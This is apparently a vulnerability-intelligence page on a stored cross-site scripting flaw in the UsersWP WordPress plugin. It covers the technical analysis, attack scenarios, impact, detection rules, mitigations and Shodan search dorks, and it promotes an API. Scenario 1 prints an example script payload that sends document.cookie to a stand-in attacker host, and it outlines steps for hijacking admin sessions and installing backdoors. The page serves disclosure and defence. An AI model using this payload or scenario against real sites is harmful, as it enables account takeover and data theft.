☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wordfence logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-18501

CVE-2026-18501 — UsersWP <= 1.2.69 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Badge Widget Variable Substitution
📅 PUBLISHED: 2026-08-06 00:00 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: USA License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-18501 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the UsersWP plugin for WordPress, specifically in all versions up to and including 1.2.69. The flaw exists in the Badge Widget's variable substitution mechanism, which fails to properly sanitize and escape user-controlled input before rendering. Authenticated attackers with subscriber-level access or higher can inject arbitrary web scripts that execute whenever an administrator or other user accesses the compromised page. With a CVSS score of 6.4 (Medium severity), the vulnerability is network-exploitable with low attack complexity and requires only low-privilege authentication, posing a credible risk to WordPress sites running the affected plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The UsersWP plugin (versions <= 1.2.69) implements a Badge Widget that supports variable substitution — a templating feature where placeholders within the widget are dynamically replaced with user-supplied values at render time. The vulnerability arises from insufficient input sanitization and output escaping during this substitution process.

The attack surface is the Badge Widget's variable handling subsystem. When a user with subscriber-level privileges or higher updates their profile or interacts with badge-related parameters, the plugin stores the supplied values without adequate sanitization. Later, when the badge is rendered on any page (including pages viewed by administrators), the unsanitized value is substituted into the widget's HTML output without proper escaping. This transforms the stored payload into executable script context within the victim's browser session.

The lack of output escaping means that characters such as <, >, and quotes are not converted to their HTML entity equivalents. Consequently, an attacker-controlled value like <script>/* payload */</script> is emitted verbatim into the page's HTML source. Since the payload is stored server-side (within the WordPress database via the plugin's data structures), it qualifies as a Stored (a.k.a. Persistent) XSS — the most severe class of client-side injection because the malicious script persists across sessions and executes for every subsequent viewer of the compromised page.

The vulnerability is authenticated, requiring a minimum of subscriber-level access. This is significant because WordPress subscriber accounts are considered the lowest-privilege user tier and are frequently exposed through self-registration portals. The attack does not require any special capabilities or elevated permissions, making it easily accessible to any registered user.

Exploitation Scenarios

Scenario 1: Standard Account Compromise → Admin Session Hijack

  1. Reconnaissance/Identification: The attacker identifies WordPress sites running the UsersWP plugin (version <= 1.2.69) through version fingerprinting in page source, HTTP headers, or plugin-specific assets such as /wp-content/plugins/userswp/readme.txt.

  2. Account Registration: The attacker registers a subscriber-level account on the target WordPress site, which is commonly permitted by default when membership registration is enabled.

  3. Weaponization: The attacker crafts a malicious payload consisting of JavaScript that will be injected through the Badge Widget variable. A representative payload might be: <script>fetch('https://attacker.example/steal?c='+document.cookie)</script> — though any arbitrary script capable of running in the victim's browser context is viable.

  4. Trigger/Execution: The attacker submits the crafted value through the profile update mechanism that feeds the Badge Widget's variable substitution. The payload is stored in the WordPress database without sanitization.

  5. Delivery: When an administrator navigates to a page displaying the Badge Widget (e.g., a members directory, user profile page, or dashboard view that renders badges), the stored payload is substituted into the widget's output and executed in the administrator's browser.

  6. Post-Exploitation: The injected script executes with the administrator's session context and privileges. The attacker can:

    • Exfiltrate authentication cookies (session hijacking).
    • Perform administrative actions via crafted AJAX requests (create rogue admin accounts, install backdoor plugins).
    • Deface the site by modifying content.
    • Serve phishing content or malware redirects to visitors.

Scenario 2: Privilege Escalation via WPScan Automation

  1. The attacker automates the discovery of vulnerable sites using WPScan or custom scanning tools that enumerate plugin versions.
  2. For each vulnerable site, the attacker registers an account, injects the payload via the Badge Widget variable, and sets up a callback server to collect exfiltrated administrative credentials/cookies.
  3. Using harvested admin sessions, the attacker performs persistent backdoor installation (e.g., a malicious plugin or theme) to maintain access even after the XSS is discovered and cleaned.

The attack escalates from low-privilege subscriber access to full administrative control without any additional authentication bypass, solely through the stored XSS execution in an administrator's browser.

Impact Assessment

Business Impact: A successful exploitation enables script injection that executes in the context of any authenticated user visiting a page with the affected Badge Widget. The most severe consequence is administrative account compromise through cookie theft or forceful admin action execution. For organizations relying on WordPress for lead generation, e-commerce, or customer portals, this can result in:

  • Data Breach: Exfiltration of user PII, order data, or internal business information accessible through the compromised admin session.
  • Malware Distribution: Compromised sites can be weaponized to deliver malware or phishing content to visitors, damaging brand trust and potentially triggering legal liability.
  • Compliance Violations: For organizations subject to GDPR, PCI-DSS, or HIPAA, an unpatched XSS that leads to data exfiltration constitutes a reportable security incident.

Affected Systems: All WordPress installations running the UsersWP plugin version 1.2.69 or earlier, where site administrators have enabled user registration or where subscriber accounts exist. The attack surface is broadest on membership sites, community portals, and multi-author blogs where subscriber accounts are plentiful.

Blast Radius (CVSS Analysis): The CVSS vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N indicates:

  • Privileges Required: Low — Only subscriber-level access needed, which is easily obtainable.
  • User Interaction: None — The victim does not need to click a link or perform any special action; simply viewing the page triggers the attack.
  • Scope: Changed — The vulnerability impacts resources beyond the plugin's security scope; since the injected script executes in the browser context of any user (including admins), the impact extends to the entire WordPress application and its data.
  • Confidentiality Impact: Low — Direct data exfiltration is limited to what the injected script can access (typically session tokens, DOM content of the page, and via AJAX, site data accessible to the victim's session).
  • Integrity Impact: Low — The attacker can modify page content or perform in-session actions, but full database manipulation requires additional chaining with admin session hijacking.

The actual real-world impact is typically higher than the CVSS subscores suggest because the combination of session hijacking and admin-level action chaining effectively escalates the integrity and confidentiality impact.

Detection Guidance

Sigma Rule

title: Detects Stored XSS Payload in WordPress UsersWP Badge Widget Variable
id: 0a6e9e1d-3b52-4c7a-9a5d-8f6b0e2c7a11
status: experimental
description: Detects suspicious script tags in HTTP request bodies targeting WordPress UsersWP plugin badge widget parameters, indicating potential stored XSS exploitation.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18501
author: Cybersecurity Analyst
date: 2026/02/17
tags:
    - attack.t1059.007
    - attack.t1190
    - cve.2026.18501
logsource:
    category: webserver
    product: apache
    definition: 'Detects script tags in POST body for WordPress endpoints with UsersWP parameters'
detection:
    selection:
        http.method: 'POST'
        http.url|contains:
            - 'userswp'
            - 'uwp_'
        http.body|contains|all:
            - '<script'
            - 'type='
            - 'uwp_'
    condition: selection
falsepositives:
    - Legitimate plugin features passing script-like content
    - Admin-level configuration of custom widgets
level: medium

YARA Rule

rule CVE_2026_18501_WordPress_UsersWP_Stored_XSS
{
    meta:
        author = "Cybersecurity Analyst"
        description = "Detects stored XSS payload patterns consistent with CVE-2026-18501 exploitation in HTTP requests or log data"
        date = "2026-02-17"
        severity = "medium"
        cve = "CVE-2026-18501"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-18501"
    strings:
        $badge_param = /uwp_[a-z_]*badge[a-z_]*=/ nocase
        $variable_sub = /%5B[a-z_]*%5D|\[[a-z_]*\]/ nocase
        $script_open = "<script" nocase ascii
        $script_close = "</script>" nocase ascii
        $event_handler = /on(load|error|click|mouseover)\s*=/ nocase ascii
        $js_func = /(fetch|XMLHttpRequest|document\.cookie|eval|atob)\s*\(/ nocase ascii
    condition:
        uint16(0) == 0x0a0d and
        any of ($badge_param) and
        any of ($variable_sub) and
        (any of ($script_open) or any of ($event_handler)) and
        (any of ($js_func) or any of ($script_close))
}

Suricata IDS Rule

alert http any any -> any any (msg:"ET WEB_SPECIFIC_APPS CVE-2026-18501 UsersWP Badge Widget Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"userswp"; http_uri; nocase; content:"<script"; http_client_body; pcre:"/uwp_[a-z_]+=/i"; pcre:"/<script[^>]*>/i"; pcre:"/<\/script>|<script[^>]*>[^<]{10,}/i"; classtype:web-application-attack; reference:cve,2026-18501; reference:url,nvd.nist.gov/vuln/detail/CVE-2026-18501; sid:202618501; rev:1;)

Elastic Detection

sequence by source.ip with maxspan=15s
  [ network where event.type == "connection" and destination.port == 80 ]
  [ http where event.category == "web" and http.request.method == "POST"
      and url.path contains "userswp"
      and http.request.body.content contains "<script" ]
  [ web where url.path contains "userswp"
      and http.response.status_code == 200 ]

Splunk SPL Query

index=web sourcetype=access_combined
| where method="POST"
| search uri_path="*userswp*"
| rex field=uri_path "(?<plugin_param>uwp_[a-zA-Z_]+)"
| rex field=_raw "POST (?<http_body>.*)"
| search http_body="*<script*"
| stats count by src_ip, uri_path, http_body, status
| where count > 0
| table _time, src_ip, uri_path, http_body, status

Wazuh OSSEC Rule

<group name="wordpress,">
  <rule id="876685" level="10">
    <decodedate>.*</decodedate>
    <field name="url">userswp</field>
    <field name="data">script</field>
    <description>CVE-2026-18501: UsersWP Badge Widget Stored XSS payload detected in HTTP request</description>
    <group>web_application_attack,xss,wordpress,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: Patch confidence is 0/4 — UNPATCHED. No vendor fix, patch evidence, or official release addressing CVE-2026-18501 has been identified from any tracked source as of the intelligence date. The NVD description confirms all versions up to and including 1.2.69 are affected, and there is no mention of a fixed version beyond 1.2.69.

Immediate Mitigations:

  1. Disable User Registration: If subscriber-level self-registration is not a business requirement, disable WordPress registration immediately (Settings → General → Membership → Anyone can register). This removes the most common path to obtaining a subscriber account.

  2. Audit and Remove Suspicious Badge Widgets: Manually inspect all profiles and pages displaying the Badge Widget for injected script content. Leverage WordPress database search plugins or direct MySQL queries to hunt for <script> tags in user meta and post meta tables.

  3. Restrict Badge Widget Usage: Where feasible, temporarily disable the Badge Widget functionality via a must-use plugin or custom code until a patch is deployed. Replace with alternative display methods that do not use variable substitution.

  4. Web Application Firewall (WAF) Rules: Deploy WAF rules (e.g., Cloudflare, AWS WAF, ModSecurity) to block POST requests containing <script> tags alongside UsersWP parameter names, as detailed in the Suricata rule above.

  5. Content Security Policy (CSP): Implement a strict CSP header that disallows unsafe-inline script execution: Content-Security-Policy: script-src 'self' https: 'nonce-<random>'. This will prevent injected inline scripts from executing even if injection succeeds.

Patch/Upgrade Steps:

  1. Monitor the UsersWP plugin changelog and WordPress Plugin Directory for a patched release (expected version 1.2.70 or later).
  2. As soon as a fixed version is released, upgrade immediately via the WordPress admin panel (Plugins → Installed Plugins → UsersWP → Update Now).
  3. If manual upgrade is preferred, download the updated plugin from the official WordPress Plugin Repository and replace the existing /wp-content/plugins/userswp/ directory.

Long-Term Hardening:

  1. Principle of Least Privilege: Review all user roles and capabilities. Consider restricting subscriber accounts from editing any profile fields that feed the Badge Widget variable substitution.

  2. Vulnerability Management Process: Subscribe to plugin security advisories (e.g., WPScan, Patchstack, wordfence.com) to receive timely notifications about WordPress plugin vulnerabilities.

  3. Regular Security Audits: Schedule monthly scans using automated tools to detect XSS payloads, suspicious user accounts, and unauthorized modifications to widget configurations.

  4. Backup and Recovery: Maintain verified off-site backups with a documented incident recovery plan so that if the vulnerability is exploited, the site can be restored to a clean state before the injection occurred.

  5. Least Privilege for Development: Ensure no development artifacts (debug log, backup files) are accessible via web root, as these could aid an attacker in reconnaissance.

References

  1. NVD Entry for CVE-2026-18501: https://nvd.nist.gov/vuln/detail/CVE-2026-18501 — Official National Vulnerability Database record containing the vulnerability description, CVSS v3.1 metrics, and CWE classification.

  2. WordPress Plugin Repository — UsersWP: https://wordpress.org/plugins/userswp/ — Official plugin page; check version history and changelog for future patch releases addressing CVE-2026-18501.

  3. CWE-79 — Improper Neutralization of Input During Web Page Generation (XSS): https://cwe.mitre.org/data/definitions/79.html — Common Weakness Enumeration reference detailing the vulnerability class and guidance on remediation practices.

  4. WPScan Vulnerability Database: https://wpscan.com/wordpresses/ — Search for "UsersWP" to track the vulnerability entry, potential proof-of-concept disclosures, and update notifications once a patch is published.

  5. ATT&CK Technique T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/ — MITRE ATT&CK framework reference used for mapping the initial access vector associated with this vulnerability.


As of the intelligence date, there is no evidence of exploitation-in-the-wild campaigns, CISA KEV inclusion (marked "No"), or active threat actor activity reported specifically for CVE-2026-18501. However, given the public availability of proof-of-concept concepts for the XSS class and the ease of exploitation via low-privilege subscriber accounts, proactive mitigation is strongly advised despite the Medium severity rating. Organizations should prioritize patch deployment once the vendor releases a fixed version, and implement the WAF and CSP controls described above in the interim.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"UsersWP"
http.component:"wordpress" http.title:"Members Directory"
http.component:"wordpress" http.html:"UsersWP"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-18501/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.